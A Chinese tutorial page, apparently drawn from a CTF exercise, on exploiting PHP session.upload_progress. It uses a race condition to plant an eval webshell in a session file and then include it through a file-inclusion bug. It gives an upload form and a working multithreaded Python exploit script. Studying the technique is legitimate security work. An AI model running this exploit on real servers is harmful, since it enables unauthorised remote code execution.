电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

使用session upload_progress實現(xiàn)文件包含實例詳解

瀏覽:146日期:2022-06-06 13:50:06
目錄
  • 前言
  • 基礎知識
    • session.upload_progress
  • 攻擊方法
    • 例題
      • 結(jié)語

        前言

        該思路是很久之前在CTF比賽中學習到的,可以簡單理解為利用session.upload_progress來進行文件競爭從而達到上傳文件進行文件包含或者命令執(zhí)行的目的,可能大部分人會不理解,我們下面我們展開來講。

        基礎知識

        session.upload_progress

        首先我們要先學習什么是session.upload_progress,可以簡單理解為文件上傳進度,在php官方文檔里可以找到描述:

        在這里面有幾個很重要的函數(shù),我們簡單看一下:

        session.upload_progress.enabled = onsession.upload_progress.cleanup = onsession.upload_progress.prefix = "upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

        第一個顯而易見是設定是否開啟該功能,第二個cleanup則是是否在上傳后刪除文件,第三個為設置前綴,第四個為session中的鍵值,那么他們有什么用呢?我們就可以在phpinfo里查看這些信息是否開啟以此來判斷能不能利用該漏洞。

        攻擊方法

        我們攻擊思路就是利用session.upload_progress來將木馬寫入到session里面,但這里有兩個問題:

        問題一:代碼里沒有session_start,我們?nèi)绾蝿?chuàng)建session文件呢?

        首先我們先看看session里面有一個很重要的選項:

        session.use_strict_mode //默認值為off。

        我們可以自己定義sessionid,假如我們定義sessionid為xino,則PHP將會在服務器上創(chuàng)建一個文件:/tmp/sess_xino”。即使我們沒有初始化Session,PHP也會自動初始化Session。 并產(chǎn)生一個鍵值,這個鍵值由:

        ini.get("session.upload_progress.prefix")+由我們構(gòu)造的session.upload_progress.name值組成

        最后被寫入sess_文件里。

        問題二:上面的cleanup設置會刪除數(shù)據(jù),我們要如何防止數(shù)據(jù)被刪除呢?

        所以這里需要我們文件競爭不斷發(fā)包直至上傳成功,之后再讀取session文件所在路徑即可。類似于下圖,可以搭配burpsuite使用:

        之后我們即可進行文件包含或者RCE攻擊,總結(jié)一下該漏洞的利用條件:

        存在文件包含漏洞

        知道session文件存放路徑,可以嘗試默認路徑

        具有讀取和寫入session文件的權(quán)限

        下面給大家?guī)硪粋€例題。

        例題

        進入題目首先看看題目源碼:

        限制了我們很多東西,只能使用沒有后綴的文件進行文件包含所以想到通過session.upload_progress來進行文件包含,因為我們需要上傳一個東西,所以我們先寫一個簡單的文件上傳點:

        <!DOCTYPE html><html><body><form action="http://ctf" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    <input type="file" name="file" />    <input type="submit" value="submit" /></form></body></html>

        之后我們進行發(fā)包抓包然后重放,查看回顯成功后我們訪問/tmp/sess_flag,發(fā)現(xiàn)命令執(zhí)行了:

        我們將之前發(fā)包文件里面的ls命令改為cat flag的文件名即可進行命令執(zhí)行,也是抓包重放查看返回長度不一樣的包:

        如果不喜歡手動我這里從網(wǎng)上找了一個自動化腳本,大家也可以嘗試一下:

        import ioimport requestsimport threadingsessid = "FLAG"data = {"cmd":"system("ls");"}def write(session):    while True:f = io.BytesIO(b"a" * 1024 * 50)resp = session.post( "http://127.0.0.1/session.php", data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST["cmd"]);?>"}, files={"file": ("1.txt",f)}, cookies={"PHPSESSID": sessid} )def read(session):    while True:resp = session.post("http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_"+sessid,data=data)if "1.txt" in resp.text:    print(resp.text)    event.clear()else:    print("[+++++++++++++]retry")if __name__=="__main__":    event=threading.Event()    with requests.session() as session:for i in range(1,30):     threading.Thread(target=write,args=(session,)).start()for i in range(1,30):    threading.Thread(target=read,args=(session,)).start()    event.set()

        結(jié)語

        今天給大家?guī)淼氖莝ession.upload_progress文件包含漏洞,因為需要一些網(wǎng)絡安全基礎可能部分讀者不太明白,這里有興趣的小伙伴可以自己去了解一下找個現(xiàn)成的靶機去嘗試一下,更多關于session upload_progress文件包含的資料請關注其它相關文章!

        標簽: PHP
        主站蜘蛛池模板: PCB厂|线路板厂|深圳线路板厂|软硬结合板厂|电路板生产厂家|线路板|深圳电路板厂家|铝基板厂家|深联电路-专业生产PCB研发制造 | 隧道烘箱_隧道烘箱生产厂家-上海冠顶专业生产烘道设备 | 防勒索软件_数据防泄密_Trellix(原McAfee)核心代理商_Trellix(原Fireeye)售后-广州文智信息科技有限公司 | 上海软件开发-上海软件公司-软件外包-企业软件定制开发公司-咏熠科技 | Eiafans.com_环评爱好者 环评网|环评论坛|环评报告公示网|竣工环保验收公示网|环保验收报告公示网|环保自主验收公示|环评公示网|环保公示网|注册环评工程师|环境影响评价|环评师|规划环评|环评报告|环评考试网|环评论坛 - Powered by Discuz! | 脑钠肽-白介素4|白介素8试剂盒-研域(上海)化学试剂有限公司 | 变位机,焊接变位机,焊接变位器,小型变位机,小型焊接变位机-济南上弘机电设备有限公司 | 信阳网站建设专家-信阳时代网联-【信阳网站建设百度推广优质服务提供商】信阳网站建设|信阳网络公司|信阳网络营销推广 | 一体式钢筋扫描仪-楼板测厚仪-裂缝检测仪-泰仕特(北京) | 河南生物显微镜,全自动冰冻切片机-河南荣程联合科技有限公司 | 杭州货架订做_组合货架公司_货位式货架_贯通式_重型仓储_工厂货架_货架销售厂家_杭州永诚货架有限公司 | 氧氮氢联合测定仪-联测仪-氧氮氢元素分析仪-江苏品彦光电 | 网站建设-高端品牌网站设计制作一站式定制_杭州APP/微信小程序开发运营-鼎易科技 | 不干胶标签-不干胶贴纸-不干胶标签定制-不干胶标签印刷厂-弗雷曼纸业(苏州)有限公司 | 涡轮流量计_LWGY智能气体液体电池供电计量表-金湖凯铭仪表有限公司 | 筛分机|振动筛分机|气流筛分机|筛分机厂家-新乡市大汉振动机械有限公司 | 3d可视化建模_三维展示_产品3d互动数字营销_三维动画制作_3D虚拟商城 【商迪3D】三维展示服务商 广东健伦体育发展有限公司-体育工程配套及销售运动器材的体育用品服务商 | ◆大型吹塑加工|吹塑加工|吹塑代加工|吹塑加工厂|吹塑设备|滚塑加工|滚塑代加工-莱力奇塑业有限公司 | 热回收盐水机组-反应釜冷水机组-高低温冷水机组-北京蓝海神骏科技有限公司 | 贝壳粉涂料-内墙腻子-外墙腻子-山东巨野七彩贝壳漆业中心 | 成都办公室装修-办公室设计-写字楼装修设计-厂房装修-四川和信建筑装饰工程有限公司 | 电磁铁_小型推拉电磁铁_电磁阀厂家-深圳市宗泰电机有限公司 | 中医治疗皮肤病_潍坊银康医院「山东」重症皮肤病救治平台 | led全彩屏-室内|学校|展厅|p3|户外|会议室|圆柱|p2.5LED显示屏-LED显示屏价格-LED互动地砖屏_蕙宇屏科技 | 江苏密集柜_电动_手动_移动_盛隆柜业江苏档案密集柜厂家 | 开平机_纵剪机厂家_开平机生产厂家|诚信互赢-泰安瑞烨精工机械制造有限公司 | 自动售货机_无人售货机_专业的自动售货机运营商_免费投放售货机-广州富宏主官网 | 广东教师资格网-广东教师资格证考试网| 电子元器件呆滞料_元器件临期库存清仓尾料_尾料优选现货采购处理交易商城 | 广州小程序开发_APP开发公司_分销商城系统定制_小跑科技 | 粒米特测控技术(上海)有限公司-测功机_减速机测试台_电机测试台 | 青岛代理记账_青岛李沧代理记账公司_青岛崂山代理记账一个月多少钱_青岛德辉财税事务所官网 | 油漆辅料厂家_阴阳脚线_艺术漆厂家_内外墙涂料施工_乳胶漆专用防霉腻子粉_轻质粉刷石膏-魔法涂涂 | 韦伯电梯有限公司 | 自动部分收集器,进口无油隔膜真空泵,SPME固相微萃取头-上海楚定分析仪器有限公司 | 薄壁轴承-等截面薄壁轴承生产厂家-洛阳薄壁精密轴承有限公司 | 开云(中国)Kaiyun·官方网站 - 登录入口 | 数显水浴恒温振荡器-分液漏斗萃取振荡器-常州市凯航仪器有限公司 | 新材料分散-高速均质搅拌机-超声波分散混合-上海化烁智能设备有限公司 | 工业车间焊接-整体|集中除尘设备-激光|等离子切割机配套除尘-粉尘烟尘净化治理厂家-山东美蓝环保科技有限公司 | 高考志愿规划师_高考规划师_高考培训师_高报师_升学规划师_高考志愿规划师培训认证机构「向阳生涯」 |